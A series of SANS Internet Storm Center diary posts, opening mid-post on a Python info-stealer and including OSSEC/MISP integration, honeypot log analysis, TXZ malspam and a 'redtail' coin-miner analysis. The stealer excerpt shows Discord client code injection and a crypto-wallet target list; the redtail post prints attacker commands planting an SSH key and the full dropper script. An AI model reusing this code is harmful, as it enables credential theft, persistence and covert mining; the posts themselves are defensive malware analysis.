        deneme_path = os.path.join(os.getenv('LOCALAPPDATA'), folder_name)
        if os.path.isdir(deneme_path):
            for subdir, dirs, files in os.walk(deneme_path):
                if 'app-' in subdir:
                    for dir in dirs:
                        if 'modules' in dir:
                            module_path = os.path.join(subdir, dir)
                            for subsubdir, subdirs, subfiles in os.walk(module_path):
                                if 'discord_desktop_core-' in subsubdir:
                                    for subsubsubdir, subsubdirs, subsubfiles in os.walk(subsubdir):
                                        if 'discord_desktop_core' in subsubsubdir:
                                            for file in subsubfiles:
                                                if file == 'index.js':
                                                    file_path = os.path.join(subsubsubdir, file)
                                                    injeCTmED0cT0r_cont = requests.get(inj3c710n_url).text
                                                    injeCTmED0cT0r_cont = injeCTmED0cT0r_cont.replace("%WEBHOOK%", h00k)
                                                    with open(file_path, "w", encoding="utf-8") as index_file:
                                                        index_file.write(injeCTmED0cT0r_cont)

The script has also classic evasion techniques based on VM, IP address, and suspicious processes detection. Many wallets are also targeted:

w411375 = [
    ["nkbihfbeogaeaoehlefnkodbefgpgknn", "Metamask"         ],
    ["ejbalbakoplchlghecdalmeeeajnimhm", "Metamask"         ],
    ["fhbohimaelbohpjbbldcngcnapndodjp", "Binance"          ],
    ["hnfanknocfeofbddgcijnmhnfnkdnaad", "Coinbase"         ],
    ["fnjhmkhhmkbjkkabndcnnogagogbneec", "Ronin"            ],
    ["egjidjbpglichdcondbcbdnbeeppgdph", "Trust"            ],
    ["ojggmchlghnjlapmfbnjholfjkiidbch", "Venom"            ],
    ["opcgpfmipidbgpenhmajoajpbobppdil", "Sui"              ],
    ["efbglgofoippbgcjepnhiblaibcnclgk", "Martian"          ],
    ["ibnejdfjmmkpcnlpebklmnkoeoihofec", "Tron"             ],
    ["ejjladinnckdgjemekebdpeokbikhfci", "Petra"            ],
    ["phkbamefinggmakgklpkljjmgibohnba", "Pontem"           ],
    ["ebfidpplhabeedpnhjnobghokpiioolj", "Fewcha"           ],
    ["afbcbjpbpfadlkmhmclhkeeodmamcflc", "Math"             ],
    ["aeachknmefphepccionboohckonoeemg", "Coin98"           ],
    ["bhghoamapcdpbohphigoooaddinpkbai", "Authenticator"    ],
    ["aholpfdialjgjfhomihkjbmgjidlcdno", "ExodusWeb3"       ],
    ["bfnaelmomeimhlpmgjnjophhpkkoljpa", "Phantom"          ],
    ["agoakfejjabomempkjlepdflaleeobhb", "Core"             ],
    ["mfgccjchihfkkindfppnaooecgfneiii", "Tokenpocket"      ],
    ["lgmpcpglpngdoalbgeoldeajfclnhafa", "Safepal"          ],
    ["bhhhlbepdkbapadjdnnojkbgioiodbic", "Solfare"          ],
    ["jblndlipeogpafnldhgmapagcccfchpi", "Kaikas"           ],
    ["kncchdigobghenbbaddojjnnaogfppfj", "iWallet"          ],
    ["ffnbelfdoeiohenkjibnmadjiehjhajb", "Yoroi"            ],
    ["hpglfhgfnhbgpjdenjgmdgoeiappafln", "Guarda"           ],
    ["cjelfplplebdjjenllpjcblmjkfcffne", "Jaxx Liberty"     ],
    ["amkmjjmmflddogmhpjloimipbofnfjih", "Wombat"           ],
    ["fhilaheimglignddkjgofkcbgekhenbh", "Oxygen"           ],
    ["nlbmnnijcnlegkjjpcfjclmcfggfefdm", "MEWCX"            ],
    ["nanjmdknhkinifnkgdcggcfnhdaammmj", "Guild"            ],
    ["nkddgncdjgjfcddamfgcmfnlhccnimig", "Saturn"           ], 
    ["aiifbnbfobpmeekipheeijimdpnlpgpp", "TerraStation"     ],
    ["fnnegphlobjdpkhecapkijjdkgcjhkib", "HarmonyOutdated"  ],
    ["cgeeodpfagjceefieflmdfphplkenlfk", "Ever"             ],
    ["pdadjkfkgcafgbceimcpbkalnfnepbnk", "KardiaChain"      ],
    ["mgffkfbidihjpoaomajlbgchddlicgpn", "PaliWallet"       ],
    ["aodkkagnadcbobfpggfnjeongemjbjca", "BoltX"            ],
    ["kpfopkelmapcoipemfendmdcghnegimn", "Liquality"        ],
    ["hmeobnfnfcmdkdcmlblgagmfpfboieaf", "XDEFI"            ],
    ["lpfcbjknijpeeillifnkikgncikgfhdo", "Nami"             ],
    ["dngmlblcodfobpdpecaadgfbcggfjfnm", "MaiarDEFI"        ],
    ["ookjlbkiijinhpmnjffcofjonbfbgaoc", "TempleTezos"      ],
    ["eigblbgjknlfbajkfhopmcojidlgcehm", "XMR.PT"           ],
]

[1] https://www.virustotal.com/gui/file/a6230d4d00a9d8ecaf5133b02d9b61fe78283ac4826a8346b72b4482d9aab54c
[2] https://gofile.io/welcome

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Feeding MISP with OSSEC, (Thu, May 30th)

I'm a big fan of OSSEC[1] for years. OSSEC ("Open Source Security Event Correlator") is a comprehensive, open-source host-based intrusion detection system (HIDS). It is designed to monitor and analyze system logs, detect suspicious activities, and provide real-time alerts for security incidents. OSSEC can perform log analysis, file integrity monitoring, rootkit detection, and active response to mitigate threats. It supports various platforms including Linux, Windows, and macOS, and can be integrated with various security tools and SIEM solutions. I already wrote some diaries about it in the past[2]. I'm running my instance on all my servers, I made some contributions to the project. 

One of the features I like most is "Active-Response". It allows us to automatically take predefined actions in response to detected security events or threats. When a specific rule is triggered, OSSEC can execute scripts or commands to mitigate the threat, such as blocking an IP address, disabling a user account, or restarting a service. This feature enhances the system's security by providing real-time, automated reactions to potential intrusions or malicious activities, reducing the window of opportunity for attackers to exploit vulnerabilities.

Being a big fan of MISP[3], making them talk together to improve our detection capabilities is a great improvement. Most of my OSSEC agents are installed on many servers facing the Internet and get scanned/visited/flooded by thousands of malicious requests. The default Active-Response enabled in OSSEC is to temporarily block offending addresses to slow down attackers (for example, brute-force attacks). These addresses are also interesting for multiple reasons:

1. If one host is attacked, the same IP address could be blocked on all servers

2. The IP address could be shared with peers (it's an interesting IOC - Indicator of Compromise))

3. We can track if the same IP address is coming back regularly

I wrote an Active-Response script that, if conditions are met, will submit offending IP addresses to a MISP instance. How does it work?

First, you need to configure a new Active-Response config:

<active-response>
  <disabled>no</disabled>
  <command>ossec2misp</command>
  <location>server</location>
  <rules_id>100213,100201,31509</rules_id>
</active-response>

The most important parameter is the list of rules that will trigger the active response. By example, my rule 31509 detects Wordpress login brute-force attacks:

<!-- WordPress wp-login.php brute force -->
  <rule id="31509" level="3">
    <if_sid>31108</if_sid>
    <url>wp-login.php|/administrator</url>
    <regex>] "POST \S+wp-login.php| "POST /administrator</regex>
    <description>CMS (WordPress or Joomla) login attempt.</description>
</rule>

When the alert triggers, the OSSEC server will execute the command called "ossec2misp":

<command>
  <name>ossec2misp</name>
  <executable>ossec2misp.py</executable>
  <expect>srcip</expect>
  <timeout_allowed>no</timeout_allowed>
</command>

The command will call my Python script located in your Active-Response scripts repository (usually $OSSEC_HOME/active-response/bin/). The script can be configured, most options are self-explaining:

misp_url          = "https://misp.domain.tld"
misp_key          = "<redacted>"
misp_verifycert   = True
misp_info         = "OSSEC ActiveResponse"      # Event title
misp_last         = "30d"                       # Max period to search for IP address
misp_new_event    = False                       # Force the creation of a new event for every report
misp_distribution = 0                           # The distribution setting used for the newly created event, if relevant. [0-3]
misp_analysis     = 1                           # The analysis level of the newly created event, if applicable. [0-2]
misp_threat       = 3                           # The threat level ID of the newly created event, if applicable. [1-4]
misp_tags         = [ "source:OSSEC" ]          # Tags for the newly created event, if applicable
misp_publish      = True                        # Automatically puslish the event
syslog_server     = "192.168.1.1"               # If defined, enable syslog logging
redis_server      = "redis"                     # Redis server hostname/ip
redis_port        = 6379                        # Redis server port
redis_db          = 0                           # Redis server db

The Redis server is used to prevent the MISP server from being flooded by API requests. Once an IP has been detected, it is stored in Redis for 1h.

When an offending IP address is already present in MISP, the script will add a "sighting" to it. The purpose of "sighting" is to provide feedback on the usage and relevance of the IP address within the platform. This helps in verifying the prevalence and impact of the IOC, enhances collaborative threat intelligence by validating data, and assists in prioritizing IP addresses based on their sightings frequency and relevance.

Here is an example of an OSSEC event:

My script is available in my Github repo[4]. Comments, improvements or ideas are welcome!

[1] https://ossec.net/
[2] https://isc.sans.edu/search.html?q=ossec&token=&Search=Search
[3] https://www.misp-project.org
[4] https://github.com/xme/ossec/blob/main/ossec2misp.py

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

&#xa;Is that It&#x3f; Finding the Unknown: Correlations Between Honeypot Logs & PCAPs [Guest Diary], (Tue, May 28th)

[This is a Guest Diary by Joshua Jobe, an ISC intern as part of the SANS.edu BACS program]

Introduction

Upon starting the Internship in January 2024, I wondered how I was going to tackle analyzing all the logs, how to parse and understand JSON files, and make sense of the plethora of details to even try to make an attack observation.  Where do the files go, how do we correlate the filenames with the hashes, what’s the deal with webhoneypot logs?  During the Introductory Call, Mentor Handler, Guy Bruneau, mentioned the DShield SIEM [1] he has been working on for everyone to use to enhance the internship experience.  I felt this was the perfect opportunity to build something that will assist with correlating the ‘attacks’ on the sensors by ingesting the logs into a SIEM.  This is especially useful for those that want to see the details in a way that is more organized and easier to extrapolate data.  However, simply reviewing activity in the SIEM may not always be enough to build a complete picture for an attack observation.  Likewise, simply parsing through the logs may not always give you a complete picture either.

This blog post will walk through the steps I have taken to build a bigger picture to make an attack observation, briefly going over various attacks such as malicious files, HTTP requests, Cowrie/Webhoneypot JSON logs and PCAPs.

Where to Start

After initially setting up the DShield Honeypot (sensor), it will inevitably take 2-3 weeks or more to begin seeing attacks, especially any that may involve uploading/downloading files.  Be patient.  Interesting IP addresses, files, URLs, TTY logs, etc. will show up.  It is imperative that you follow the instructions to properly expose your sensor or sensors to the internet.
 
For example, I am running two sensors behind an Asus RT-AC86U router, since this router doesn’t natively allow the same port entries when Port Forwarding two internal IP addresses, I opted to setup one sensor with only TCP ports 8000, 2222, 2223, 8443 open with the second sensor open to the entire port range: TCP/UDP 1:65535.  Utilizing the demilitarized zone (DMZ) is not currently an option due to how my network is setup.  The sensor with the entire port range open tends to see more traffic. 

Once you have your sensors up and running, I highly recommend setting up the DShield SIEM previously mentioned.  Here are some recommendations to consider for the SIEM:

  1. Physical system or VM – it is best to install this on a system you can leave running 24/7 and not use your primary laptop or PC. Using a dedicated system allows the SIEM to constantly ingest the files from the sensors with minimal delays in populating the details in Kibana.  Occasional restarts and updates are expected, but they will be less frequent than if you use your primary system.  I repurposed an old HP laptop with 8 GB of RAM specifically for this task and placed it next to the sensors.
  2. Hard Drive Space – Consider 300-500GB at minimum.  This is critical to hash out ahead of time.  The minimum recommended space for the Docker partition is 300GB, however, the more features you integrate (Arkime, Zeek, PCAP captures, etc), the quicker it will fill up.  I started with 100GB thinking it would be plenty.  I was wrong and within about a month and a half the SIEM wasn’t operating correctly due to not having enough space.  Deleting non-critical data worked for about a week.  I ended up adding a spare 1 TB external HDD, then expanded the volume group and logical volume to use the entire drive.
     

Now that the sensors are collecting data and the SIEM is ingesting the logs, you need to focus on what your first attack observation will be on.

SIEM Review and Correlation of File Uploads

After about 3 weeks, you should begin seeing quite a bit of interesting activity on the SIEM.  Here are a few examples of what you may see:

You have multiple options to focus your attention on.  If you narrow your results by IP, you may see the associated Username & Passwords, any commands that were attempted, or perhaps filenames.  If you filter by filename, you get the associated IP address or addresses along with all other data associated with just the filename.  When filtering by any filter other than IP to find associated IP addresses, I recommend choosing an IP or multiple IP addresses to populate additional data specific to that IP.  For example, if you want to find associated IP addresses for filename ‘sshd’, hover the cursor over the ‘Filename’ and select the + to add it as a filter near the top:

This filter results in the following IP addresses, Session Codes, and the associated SHA256 file hashes, among other information:

As you can see, filtering by ‘sshd’ identifies 4 IP addresses, associated sessions, and 2 different SHA256 hashes for the same filename.  This also narrows down only the logs related to this filter:

 

 

 

 

 

 

You can further narrow down the results by either IP address or focus on a single hash.  Let’s focus on a single IP address. Following the same example for filtering by filename, chose an IP address to filter on:

 This approach will narrow down the details specific to this IP address.  Select the X to remove the ‘sshd’ filter.  I recommend this  approach to see if this IP address is associated with other activities, such as web requests.

Filtering only a single IP, now reveals other Session details that you can further use to begin building an understanding of this threat actor. 

Using the single IP search also reveals related activity where 46 logs were recorded by the attempts of this threat actor: 

 

 

 

There are additional fields for this section of the SIEM, however, it is cut off for brevity.  Additional fields include destination port, source user command, username and password fields, along with HTTP request body for any web requests.

 

 

 

 

If you want to find the related details for all the associated IP addresses for the ‘sshd’ file, use the search field to create the expanded filter:

Other than what we’ve already covered, filtering using this search criteria will reveal all associated sessions and other interactions applicable to just those IP addresses.  In this example, there are 148 entries related to these IP addresses:

For the most part, observations that relate to files uploaded to a honeypot, the SIEM is about all I need.  Reviewing the cowrie JSON logs pulls everything with all relevant details for each IP address into a format I feel is a bit easier to follow.  Some data may not always populate on the SIEM, so it isn’t a bad idea to review the logs from the honeypot to confirm.

For Attack Observations related to malicious files, use VirusTotal to check the file hash and decide if it’s worth investigating further using other sandboxes such as Cuckoo Sandbox [2] or Joe Sandbox Cloud [3], among others.  Alternatively, using a virtual machine (VM) to perform various types of malware analysis may reveal details not reported on using automatic malware analysis.

HTTP Requests

One of the great things about using the SIEM is that you get a quick, upfront view of all the interactions happening on your sensor or sensors.  You could also parse through the logs manually to get similar data.  However, one thing that I just couldn’t wrap my head around is what is so special about these web requests?  Sure, we can Google the URLs, perhaps find CVEs or other sources related to a URL.  You might even be able to find vulnerable systems open on the internet.  For me, reviewing these requests on the SIEM or parsing through the logs still didn’t answer why.  Here is an example of web requests and user agents you might see on the SIEM to decide what you want to focus on:


Just like narrowing down results from potentially malicious files, we can do the same with the requests on the web interface of the SIEM to find the related IPs and other details.  Something I didn’t point out before is that the SIEM includes features to facilitate gathering information on a threat actor from CyberGordon, Censys, Shodan, or internally using Cont3xt: 

 

By narrowing down interesting files or web requests, you can use this section to visit the applicable websites for more information.  It is just an easier way of clicking and viewing details about that IP address.

 

 

 

Since the SIEM wasn’t cutting it for me with web requests, I turned to the logs from the sensors to manually parse.  However, as I will expand on in the last section, neither was really answering my question of what is making these requests so special.  But first, let’s turn to the logs.

Log Reviews from the DShield Sensor

Parsing the logs reveals a lot of details about an IP address or even web requests.  When I first started learning how to parse the JSON logs, I used both ChatGPT and an article from DigitalOcean called “How To Transform JSON Data with jq” [4].  Once you understand the structure of the JSON files, it is simple to parse the logs based on just about any search criteria.  To parse Telnet/SSH logs based on an IP address, you can use these commands:

There are a lot more details that can be pulled out, but you also must know what that log contains to know what the structure is.  Use the following command to parse the first object containing all the associated key-value pairs:

As an alternative to running the above commands, I decided to create a Python script to automate this approach to extract details I felt at the time to contain the details I wanted to focus on. [5]

I maintain two sensors, which automatically transfer copies of logged data to separate folders, daily. The script is in its own directory, so the file paths are relative to the script's location. Additionally, users have the flexibility to filter data either by IP address or Session ID. This is where the DShield SIEM proves invaluable. Users can first identify interesting data points, then further refine their search based on either IP address or Session ID:

For the sake of space, I only copied a portion of the results.  The output above also has data for all related sessions associated with that IP address.

When it comes to the webhoneypot logs, the process is similar, but the details will be different as the object and key-value pairs will be different.  Here is an example output of the webhoneypot logs:

The webhoneypot logs contain a lot of data.  Most, in my opinion, aren’t applicable to the details I would like to see.  Aside from manually parsing the files like the TELNET/SSH logs, I created a script specific to the format for these logs [5].  This gives a bit of flexibility for what you want to search for and whether you want to include any URLs that only begin with a forward slash “/”.  Depending on what you are searching for, the search could return hundreds of resulting logs.  For this reason, the script saves the results to a file, which also allows it to run faster.  Here is an example of running the script, then a partial output of the file:

The partial URL search is useful if you notice multiple URLs that contain a subdirectory in the path such as /jenkins/script and /jenkins/login.

While the web logs provide a lot of details, this goes back to what I mentioned earlier about something still seemed to be missing and answering the question of why these are being accessed.  This is where the PCAPs in the next section come into play.

Why You Should Use PCAPs

Having a honeypot running provides only so much insight into what a threat actor is doing just by reviewing the logs.  However, it wasn’t until I decided to focus an attack observation based upon the web requests that I realized something is missing.  If you haven’t decided to collect PCAPs up to this point, I highly recommend evaluating options to automatically collect them daily.  One option is using Daemonlogger by following the instructions provided by Mr. Bruneau’s DShield SIEM setup on Github [1] or finding a solution that works best for you.  

What you don’t get with the web logs from the honeypot is any inclination of what the threat actor may be doing – at least not from what I was able to observe.  For example, a path stood out to me that had over 500 requests to /cgi-bin/nas_sharing.cgi.  If you aren’t familiar with cgi-bin, it is often found on routers and other network devices such as NAS (network attached storage) devices from manufacturers such as Linksys, D-Link, Netgear, QNAP, Synology, etc.  A vulnerability in a path such as this is enticing to the actor as you will see in a moment.

After you have narrowed down an attack observation, found a URL path, and further reviewed the logs, you also narrowed down the dates to focus on.  Going back to how Daemonlogger is setup, it logs one PCAP file to a daily folder.  This makes it easy to go directly to the PCAP that will have the traffic of the URL to investigate further.  Taking the example of the /cgi-bin/nas_sharing.cgi, I reviewed PCAPs between 15-24 Apr 2024.  This is what I discovered that made these web requests even more interesting:

Remote Code Execution (RCE):

Parsing through the honeypot logs, I couldn’t find any correlation of that command.  The threat actor is using obfuscation to attempt to hide what they are doing by encoding the command into Base64.  Decoding the encoded string reveals the following:

With this information, you can build a rather thorough attack observation, having more data than simply a web request and researching the vulnerabilities associated with those file paths.
Here is one more HTTP request to highlight why you should capture network traffic on the sensor:

Without it, all you would find in the logs is that the HTTP request method is POST and URL is /device.rsp along with other associated data.

Final Thoughts

If you didn’t catch the details regarding data retention on the sensor at the start of the internship, the logs are deleted at certain intervals.  If you want to retain logs, set up an automatic way to transfer the logs to a separate system or a separate folder on the sensor.  My first or second attack observation included some logs that just so happen to be at the tail end of when they are deleted.  Fortunately, I had copies of the data, but I was relying on the details within the sensor.  When I went to parse the data again the next day, it was gone.  So, if you want long-term data retention for any of the logs, transfer the logs to another folder or system.  

I can’t reiterate it enough about the importance of capturing network traffic on the sensor.  The first month or so I hadn’t considered it.  After I started capturing the traffic, I rarely reviewed the PCAPs as most of the data I was looking at was encrypted traffic from the file uploads.  However, when it came to the web requests, this proved to be invaluable information.  

From observing the DShield SIEM to manually parsing the logs, find what works best for you and take time to review the data, extract interesting information, and develop the attack observation report over a few days.  

[1] https://github.com/bruneaug/DShield-SIEM
[2] https://malwr.ee/ 
[3] https://www.joesandbox.com/  
[4] https://www.digitalocean.com/community/tutorials/how-to-transform-json-data-with-jq 
[5] https://github.com/jrjobe/DShield-Cowrie-json-Parser 
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

A few portions of this post were aided with the assistance of ChatGPT, most content is original - https://chatgpt.com/ 

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Files with TXZ extension used as malspam attachments, (Mon, May 27th)

Malicious e-mail attachments come in all shapes and sizes. In general, however, threat actors usually either send out files, which themselves carry a malicious payload – such as different scripts, Office documents or PDFs – or they send out “containers”, which include such files – e.g., image files or archives. These container files, especially, can sometimes be quite unusual… Which is where today’s diary comes in.

While going over messages that were caught in my malspam traps over the course of May, I found multiple e-mails that carried files with TXZ extension as their attachments. Since this extension is hardly the most common one, I needed quick help from Google to find that it was associated with Tar archives compressed with XZ utils[1]. It seems that even when it comes to malicious e-mail attachments, use of this extension is relatively unusual, since a quick check revealed that my malspam traps haven’t caught any such files in in 2021, only one file in 2022, and none in 2023.

As it turned out, however, both the 2022 file and the current files, that my malspam traps caught, were actually not TXZ files, but rather renamed RAR archives.

Although threat actors commonly modify extensions of malicious files they send out, I was a little mystified by the change in this case, given the aforementioned less-then-common use of TXZ files, and – presumably – their limited support by archiving utilities. Further Google searching, however, soon revealed the reason for it.

It turned out that TXZ (and RAR) files were among the filetypes for which Microsoft added native support to Windows 11 late last year[2]. Potential recipients of the malicious messages who used this operating system might therefore have been able to open the attachments simply using standard Windows file explorer, even if the extension and the file type were mismatched.

It is worth noting that that although multiple e-mails were caught in the traps, they all belonged to one of two campaigns.

Messages from the first campaign contained texts in Spanish and Slovak languages and were used to distribute a 464 kB PE file with GuLoader malware, which had 53/74 detections on Virus Total at the time of writing[3].

Messages from the second campaign contained texts in Croatian and Czech languages and were used to distribute a 4 kB batch file downloader for the FormBook malware, which – at the time of writing – had 31/62 detection rate on Virus Total[4].

Even though attachments with TXZ extension probably won't become the new “go to” for threat actors when it comes to malspam attachments, these examples show that they are in active use – at least in some regionally targeted campaigns. And although "blocklisting the bad" is hardly an ideal overall security approach, in this case, it might, perhaps, be worthwhile considering whether blocking or quarantining messages carrying these files (or blocking attachments with TXZ extension in mail agents) wouldn’t be a reasonable course of action, if these files aren’t commonly used in the context of a specific organization…

[1] https://fileinfo.com/extension/txz
[2] https://www.bleepingcomputer.com/news/microsoft/windows-11-adds-support-for-11-file-archives-including-7-zip-and-rar/
[3] https://www.virustotal.com/gui/file/3f060b4039fdb7286558f55295064ef44435d30ed83e3cd2884831e6b256f542
[4] https://www.virustotal.com/gui/file/1ab5f558baf5523e460946ec4c257a696acb785f7cc1da82ca49ffce2149deb6

IoCs
CW_00402902400429.bat
MD5: cade54a36c9cc490216057234b6e1c55
SHA-1: 31c0f43c35df873e73858be2a8e8762b1e195edd
SHA-256: 1ab5f558baf5523e460946ec4c257a696acb785f7cc1da82ca49ffce2149deb6

IMG_SMKGKZ757385839500358358935775939058735RepollPsyllid.exe
MD5: c7f827116e4b87862fc91d97fd1e01c7
SHA-1: d28d1b95adbe8cfbedceaf980403dd5921292eaf
SHA-256: 3f060b4039fdb7286558f55295064ef44435d30ed83e3cd2884831e6b256f542

-----------
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

YARA 4.5.1 Release, (Sun, May 26th)

YARA 4.5.0 was released with a small change to the regex syntax (allowing more whitespace) and many bugfixes.

Victor considers that although YARA-X (the rewrite of YARA in Rust) is still in beta, you can start to use it now.

From his blog post "YARA is dead, long live YARA-X":

YARA-X is still in beta, but is mature and stable enough for use, specially from the command-line interface or one-shot Python scripts. While the APIs may still undergo minor changes, the foundational aspects are already established.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

csvkit, (Sat, May 25th)

After reading my diary entry "Checking CSV Files", a reader informed me that CSV toolkit csvkit also contains a command to check CSV files: csvstat.py.

Here is this tool running on the same CSV file I used in my diary entry:

csvkit has a lot of dependencies, it took my quite some effort to install it on a machine without Internet connection. I had to download, transfer and install 50+ packages.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Analysis of ?redtail? File Uploads to ICS Honeypot, a Multi-Architecture Coin Miner [Guest Diary], (Wed, May 22nd)

[This is a Guest Diary by Robert Riley, an ISC intern as part of the SANS.edu BACS program]

Introduction

Honeypot file uploads can be like opening pandoras box, never knowing what may get uploaded. Malware comes in all sorts of varieties and flavors, many suited for specific purposes and some for multiple. Today, we'll look at a malware named “redtail” and its purpose falls under the category, "Coin miners", software illegally uploaded to hosts for the purpose of covertly mining cryptocurrency for a remote actor by hijacking a host’s resources. The question we’d like answered is what capabilities do modern coin miners possess, and how can they be identified? Using this information from modern threat feeds could both give further insight into the threat actors perpetuating this attack, while also giving a glimpse into the current capabilities of coin miner malware actively being used in today’s threat landscape.

Description of the Subject

The “redtail” samples being evaluated are a look into a modern variant of coin miner malware being used in the wild today. The samples are interesting in that they have the capability to run on 4 different CPU architectures, showing just how much this malware could potentially infect a vast number of devices/hosts. We’ll be looking into the process of how the threat actor gained initial access, who are the threat actors, the different samples uploaded, and how these samples were identified as a coin miner.

Initial Analysis of the Attack

The analysis began in the form of an earlier attack observation [8]. I started by evaluating the IP 193.222.96.163, who was seen initially connected to the honeypot over SSH port 2222 on Feb 23rd 12:23:25 2024, shown as rapid logins happening back-to-back in increments of 23 (sign of bot behavior). After failing to login using the [root/lenovo] credentials, the actor successfully logs in using the [root/Passw0rd123] credentials. After authentication, the actor uploads a total of 5 files to the honeypot (redtail.arm7, redtail.arm8, redtail.i686, redtail.x86_64, setup.sh). 

The actor then runs commands that make the setup.sh file executable, then adds a custom public key to the ~/.ssh/authorized_keys file before making said file unmodifiable using the command https://www.abuseipdb.com/check/45.95.147.236. The full commands used are pated below:

chmod +x setup.sh; sh setup.sh;
rm -rf setup.sh;
mkdir -p ~/.ssh;
chattr -ia ~/.ssh/authorized_keys;
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys;
chattr +ai ~/.ssh/authorized_keys;
uname -a

Taking a closer look at the code for setup.sh shows us even more about the intentions of the remote IP. Namely, the shell script attempts to determine the host architecture based on the output of the command chattr +ai. Using this, the script copies the contents of the relevant redtail executable to the “.redtail” file on the host, and executes this new file, after which the original uploaded & unhidden redtail files are then deleted. If the architecture cannot be determined, then all the “redtail” file contents are copied to the “.redtail” file for good measure. The code is pasted below for more details:

#!/bin/bash

NOARCH=false;
ARCH="";
FOLDER="";

if [ -f "/bin/uname" ] && [ -f "/bin/grep" ]; then
        ARCH=$(uname -mp);
        if echo "$ARCH" | grep -q "x86_64" ; then
                ARCH="x86_64";
        elif echo "$ARCH" | grep -q "i686"; then
                ARCH="i686";
        elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
                ARCH="arm8";
        elif echo "$ARCH" | grep -q "armv7"; then
                ARCH="arm7";
        else
                NOARCH=true;
        fi
else
        NOARCH=true;
fi

#sysctl -w vm.nr_hugepages=$(nproc)

#for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
#do
#    echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
#done

FOLDER=$(find / -writable -executable -readable -not -path "/proc/*" | head -n 1 || echo /tmp);
CURR=${PWD}

if [ "$CURR" != "$FOLDER" ]; then
        mv redtail.* $FOLDER
        cd $FOLDER
fi

if [ "$NOARCH" = true ]; then
        cat redtail.x86_64 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.i686 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.arm8 > .redtail; chmod +x .redtail; ./.redtail;
        cat redtail.arm7 > .redtail; chmod +x .redtail; ./.redtail;
else
        cat "redtail.$ARCH" > .redtail; chmod +x .redtail; ./.redtail;
fi

rm -rf redtail.*

Just doing a hash lookup on any of the redtail files, it can quickly be determined that its goal is that of a coin miner, as looking up the hash of each of the files in Virus Total tags these files with such labels. This sample showed behaviors such as executing crontab, modifying iptables rules, and shows UPX packing common in other coin miners, and listens on a newly created socket. 

Digging Deeper

The 1st IP, x.x.x.163, is located either in the Netherlands or France, and comes from the ISP Constant MOULIN. Doing a quick analysis using a few reputation sites for this IP, we see that this attack is one of the 1st recorded instances of its malicious behavior [2], a VT score of 23/90 [1], and a 100% confidence of abuse [4]. This IP still has reports still being generated today by both on my honeypot and in the wild. Regarding “redtail” file uploads, there are a recorded 5 separate times where this IP successful uploads “redtail” & “setup.sh” files to the honeypot. In each case before uploading, they successfully authenticate as the “root” user before. The most recent activity from this IP on the honeypot is as recent as 5/2, trying to guess SSH usernames & passwords. Below is the complete activity of this IP, with the 5 “redtail” submissions marked.

It gets more interesting when looking at all the IP's who tried to submit these "redtail" and "setup.sh" files, as there are only two IP's engaging in this activity: 193.222.96.163 & 45.95.147.236, the secondary IP being one we haven’t evaluated yet. This 2nd IP, x.x.x.236, located in the Netherlands, is from the Alsycon Media B.V. ISP. Doing a similar reputation analysis on this IP shows malicious activity as far back as 10/7/2024 [5], a VT score of 17/91 [4], and once again a 100% confidence of abuse [6]. For the honeypot, this IP was first seen on 1/28/2024, making it the 1st IP seen on the honeypot engaging in this activity. The IP tried to login via SSH using brute force, although curiously upon successfully logging disconnects shortly after. It isn’t until about 2 weeks later, on 2/11, that we see a successful “redtail” & “setup.sh” file uploads after authenticating using the [root/lenovo] username/password combo. The last time this IP is seen is on 3/20/2024, trying to login via SSH w/ the [root/a] username/password combo.

This is the only recorded instance of file uploads from this IP, as the address engages in a variety of behaviors against this endpoint compared to the primary IP, x.x.x.163. This includes connecting to various SSH ports, many different username/password submissions, and even URL requests at one point (w/ interesting user agents). It’s interesting to note that the primary IP, x.x.x.163, may also be geographically located in the Netherlands like the secondary IP, but can’t confirm for certain due to the ISP being spread across countries. The implication here is that if both IPs are from the NL, one could point to both these IP’s being from the same threat actor, but that is speculative. For the most part, however, most of the activity comes from the primary IP, x.x.x.163

Looking closer at the “redtail” and “setup.sh” files themselves by hash reveals interesting info on the IP’s who upload them to the honeypot. Out of the 28 unique hashes ever submitted, every single one of these file submissions had a Virus Total score of at least 19, another piece of evidence proving maliciousness [7]. Between the “redtail” files, each had unique hashes that were only used in the respective batch submission. This means that the 4/5 files submitted during the initial analysis of the primary IP submission on 2/23, that those files were never once used again by either IP. This applies to every one of the 6 batch submission of “redtail” files between both IP’s. The exception to this rule was regarding the “setup.sh” file, which had 2 hashes that were submitted twice on different dates. 
